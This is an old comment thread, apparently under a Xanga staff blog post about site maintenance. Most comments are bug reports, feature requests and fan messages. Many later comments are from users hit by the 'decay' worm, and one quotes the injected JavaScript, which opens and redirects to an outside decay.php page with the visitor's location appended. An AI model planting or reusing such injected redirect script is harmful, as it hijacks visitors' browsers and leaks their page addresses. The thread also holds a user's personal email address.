SITE UPDATE
Our recent site maintenance
has greatly increased our capacity… but some of the equipment is
acting up under high loads, causing a crash now and then
.
We’ve fixed every other issue related to the new equipment, but this
one has so far eluded us. But we’re scrambling to resolve it as
soon as possible! We’re very sorry about this, and hope to have
everything working smoothly asap. We’ll keep you posted…

yeah i’m effin tired of finding bugs!!
thanks though
Woo hoo!
Have fun o_o
great!
damnit!! i just found a bug! my site is not a bug!!
lol
thank you so much!
i have bad news though…xP i don’t know if the xanga virus is acting up again, the one where you have to login over and over again only to have someone get your password, but that’s what is happening with me and my friend @ http://www.xanga.com/feisorphan, maybe it is the site acting up a bit. so i don’t want you to freak about it, but i’m just saying it could be a problem. but once again thanks so much for helping to maintain this site!
I appreciate everything you are doing.
really.
Thank you for addressing this.
thank you~
Hm… Can you be a little more technical, mate? Not all of us here are angsty teenagers

Good work, as always. I’ve been noticing a few “Comment-Bots”. At least they seem like they are. Let me know, and I can give you at least one example. I’m afraid I deleted the other one I can think of.

Hi. I would like to know if where we go to email someone with questions about Xanga. I have read the FAQs, but my question is not on there. I just want to know why I am not unable to change my subscriptions settings (I only want to subscribe “no e-mail, online only” but it isn’t working). Thanks.
yay
aw john…thanks for the nice words. =) I’ll keep writing to keep myself from going insane. I love Xanga!
I posted 2 comments and they both got bounced… I refuse to post a 3rd!!! Although… I guess this would be it. D’oh!
I guess if you are still hiring… these questions would be the ones asked… like, why has xanga been acting funny lately?
still hiring?
yes!!!! thx…
long live xanga!

Dear John,
I appreciate the fact you guys are working round the clock to fix the bugs. How about the fact that our profile pics don’t show up on the individual comments pages? I haven’t noticed this mentioned anywhere?

I hope you get to read this. I have a suggestion to adding a new feature to xanga. I want the people to have the ability to delete and edit their own comment that they put on their friends’ xanga. The reason is because there’s just too much problems when it comes to commenting. What I’m trying to say is that when people sometimes submit their comment, they accidently press submit twice and you end up seeing two of the same comments on the xanga which I do feel embarrassed for that happening or just uneasy about it. Another thing is that when you submit your comment you quickly noticed that you made a mistake or somehow your comment didn’t make sense and you just want to change but it was too late since you clicked submit and have no way of reversing it. Also, one last thing, when you comment on your friends xanga, they sometimes update their weblog some more and you don’t want to write another comment about it since you already commented. So instead you should be able to add more to your comment instead of writing a new one.
To me, I feel happy to see that I have these new comments in my weblog to read and when reading through the comments I get disappointed when I see that it’s just the same person who commented twice or accidently submitted twice. So with these new features people don’t have to worry about accidently submitting twice or writing the wrong comments. People would be able to rest and be at eased when they know they can fix their comments.
My xanga skin stopped working….what should I do?
Happy New Year~!
Wish you the best in this Roooooooooooster Year~~

Hi, remember me? Of course not, but you may when I say why I’m writing. Your new word verification. It isn’t accessible non-visually. I’m the blind girl on here. Remember me now? Hello? That one who pops up from time to time to tell you when something’s not accessible. I’m the creater of the one and only Blind Xangans Blogring.
Here’s the thing. I wanted to renew my premium membership, but first I wanted to get a new user name and new site. I tried to sign up, but couldn’t do it! I wanted to give you guys my money too. I can’t do it if I can’t sign up. There are quite a few blind-friendly word verification alternatives. I understand why you have this feature and I have no problem with that. It’s just that it really can be done in such a way that it will work for all of us. I wrote premium@xanga.com about a month or so ago, but I got no response. I’d really like to know what progress is being made. You’ve always been so incredibly helpful before. Thing is, I love Xanga and renewed my premium on my old site, but I would have done so much more happily were I able to have gotten a new site. Xanga is roughly 95% accessible too, I really think you guys can do it!
Gotta keep it up! I (and others) would really appreciate it.
Look forward to hearing from you. Thanks for listening!
Allison
do you guys ever delete old xangas that have been shut down, so they don’t show up in searches and stuff. cuz that would nice if you could do that.
hi HAPPY VALENTINES DAY
hey you should add a age and gender thing to the metros, would make it more possible to find people to relate to.
Or just age at least.
Happy Valentine’s Day!!!!
Hi! I’m just trying to drop by all my friend’s sites
hey john if u are a memeber of xanga staff team i need u to ban this guy who keeps on writing crude copies of my website stats but everytime i block him he still wont quit need help
i guess that added traffic from Alan Keyes daughter won’t help matters much, huh???
hey i’m copycat tell kellie lewis that i am the 1 and only kellie lewis.
no wonder i couldnt go on
yay! no bugs!!!!!
hey john
keep up the good work
is there a way i could privatize ALL of my entries at once?
thanks.
or could i shut it down, then reopen it.
wait, that’ll lose my entries.
sigh.
There’s a big expose on Tampa Bay’s local News stations about Xanga.com and how men are finding children through it… what’s going on? Have there been any incidents giving them a reason to be worried about Xangans revealing personal information? If there are, why haven’t we been notified? Your response would be greatly appreciated.
Sara
Xanga, in news?

Hello…for some reason my pictures that were showing up aren’t anymore. Could you please help? Thank you
if you ever get this comment please help me! tell me what is wrong with my xanga http://www.xanga.com/kmw971 put my website on one of ur posts and say like blah is wrong… PLEASE help!!! ive had my xanga for 200 days today and i still want to use it!!
thanks
kelly
ur so sexy!!!
ohmigod john… i love you so much..will you have my babies?
why don’t you do anything about these “layout” sites which open a new page for evey layout they create? some of the larger sites have to have over a hundred pages registered to just one person.
maybe you can create a policy much like image hosting sites (you cannot open two accounts to host twice the number of pictures), and limit one page per person.
wouldn’t that help with capacity?
OMG PLEASE HELP. THERE IS A VIRUS OR SOMETHING THAT IS “DECAYING” OUR XANGAS. http://free.hostultra.com/~decay/decay.php?id=0.31409781642020906&refer=http://www.xanga.com/private/home.aspx

hi
hello.. thres something going on.. on xanga.. theres a decayed thing.. and its pissing me off.. it won’t let me go anywhere.
can someone help me please? for some reason my xanga redirects to this script kiddie’s website. i think they hacked my account or some new virus is spreading. i get redirected no matter wat page i try to enter my site at. its not my computer since i have asked all my friends to try and access my site and they get the same message. PLEASE HELP!
I can’t believe this. I don’t know if it’s my computer, or my xanga, but everytime I try to access my xanga, or anyone else’s claf, I get this pop up saying “You’re xanga has been decayed, bitch” After that comes up a security warning comes up asking me if I’d like to run a program named “decay”. I press no, and then I can’t do anything at all with my xanga. I can’t access it. It happened after I tried to click on someone else’s xanga, and the same thing came up.
The URL is this: http://free.hostultra.com/~decay/decay.php?id=0.804091911130423&refer=http://www.xanga.com/home.aspx?user=chocolate_thundaah <– That’s my xanga. I don’t suggest you go there because you’ll probably get it to. I don’t know what to doooo!!!! The only thing I can access are things like my look and feel, where I don’t need a direct link from my claf page. Please email me at JE551CA8289@aol.com if you have any idea of how to fix this.
whenever i go to xanga private, it keeps opening a link to something that says “your xanga got decayed”
At around 11:30 AM on 2/21, when I reloaded my subscription, I got redirected to a site saying “I got decayed.” Now I can’t access my Xanga, always getting that annoying decayed message. Worse, now my friends can’t access their Xanga. I think someone is jealous and trying to sabotage you guys. Please hurry and fix this. Thank You.
AGHHHHHHH my friend accidentally got me decayed, craaaaaaapppppp, ive got lots of quotes i foolishly didnt write down and i worked so hard on them. Do somthing!!!
hey there.. .i’m not sure if this is part of the new glitches…
i’ve been trying to access my subscription list by clicking on My Subscriptions. but everytime i do, the page turns black and a popup box comes out and says 404 File Not Found. then i get bombarded with a bunch of popup boxes, then another box pops up asking if i want to make some web portal my new homepage. takes me a couple of minutes before i can subdue all the popups and return to my xanga homepage….
how can i access my sub list without this hassle????
hey john, when i log in and try to click my read your subcription it goes nuts… goes to some hosting page and all these windows pop up. but my other linkes… like look and feel are fine. do you know what’s up?
actually sounds like i have what everyone else has
hey just to let you know, some stupid “xanga decayed” virus is going around, and it got to several of my xangas . .. . you get it if you check your subscriptions and someone else has the virus on their xanga. this is really pissing me off, and ugh … making me very very angry. please check up on it. my xangas are http://www.xanga.com/jamie_xo and http://www.xanga.com/bballqtpie89 .. . .. please fix it.
hi im getting weird popups when i try to go into my subscriptions and some parts of xanga, something to do with “decay” and “hostultra”.. what do i do about this?
oh wow, didnt realize 50 other people got it.

HEY EVERYONE, I GOT A TUTORIAL ON HOW TO REMOVE THIS. I REMOVED IT SUCCESSFULLY ON MY SITE. ENJOY!
xanga virus has hit… not sure if my cure is working.. i’ve had some problems with the my subscriptions.. i seem to have the temporary cure.. i posted it so far.
i think there’s a virus goin around with the subscriptions, the website link is http://www.hostultra.com/uhoh.html. at first it said that my xanga was decaying and then it just keep on popping up
Hey, my xanga subscriptions link is sending me to “free.ultrahost.com” or something similar, and I don’t think I’m alone in this problem. Do you know anything that could be causing this?
*FYI* Sunday 2:40 EST
When i try to click on my subscriptions page, a different website loads up.. the last time i tried it, i got the following msg on the bottom of the webpage (must have not loaded properly):
*0.3305257562170691*/ window.open(‘http://free.hostultra.com/~decay/decay.php’,'_blank’,”);window.location.href=’http://free.hostultra.com/~decay/decay.php?id=0.916172698675249&refer=’+window.location;
please be aware of this..
hey… a virus hit my xanga…can u please help me out? it happened today…
a few of my friends’ sites have “decayed” … what’s up with that?
i figured out how to fix that problem with the subscriptions u need to clear the cookies in the temporary internet files and then u also need to use ad-aware and spybot search and destroy. after using those programs it clears the virus and u can go back to your subscriptions without any problems
Hi %-)
yea there was something wrong with my xanga decaying too and someone subscribed to me but i didnt subcribe to them and that was http://www.xanga.com/home.aspx?user=TinkPinkVetTech but i went and unsubcribed to this stranger person. and i was trying to read my subs and my friend’s xanga [ http://xanga.com/timliu17 ] had that link to the decaying. so i unsubscribed my friend and now my xanga doesnt say that it is decaying.
i’m having problems with my xanga! it “decayed” when i was reading my subscriptions! can you help me fix this problem? thanks!
something happend to my xanga around 11:00 this morning, i was browsing on my site through my private subscription list nd all of a sudden when i clicked something, my whole page has turned “decayed”. there was a man with his middle finger pointing at us saying “YOUR FUCKED NOW” please help us (the ppl who got “decayed”) bcus we really want to go back to our sites. thanks if you can fix this problem.
My site got hacked in earlier today (but my friend fixed it). It was lyke “Your xanga has been Decayed!!” And had a pic of a black guy in a ski mask flicking me off saying “Your Fucked Now.” My sis browsed some xangas to see if i wasnt the only one and found that several ppl had the same thing. Do you know why we got it? Cuz i definately DONT know these ppl.
yea its crazy
yep my xanga also got decayed
Woo-hoo! A member of the Xanga team’s blog! Well, I just decided to comment here because of the opportunity to increase traffic to my site. Selfish, huh?
Just want to take some time and thank you all for your hardwork on xanga. Thanks again!
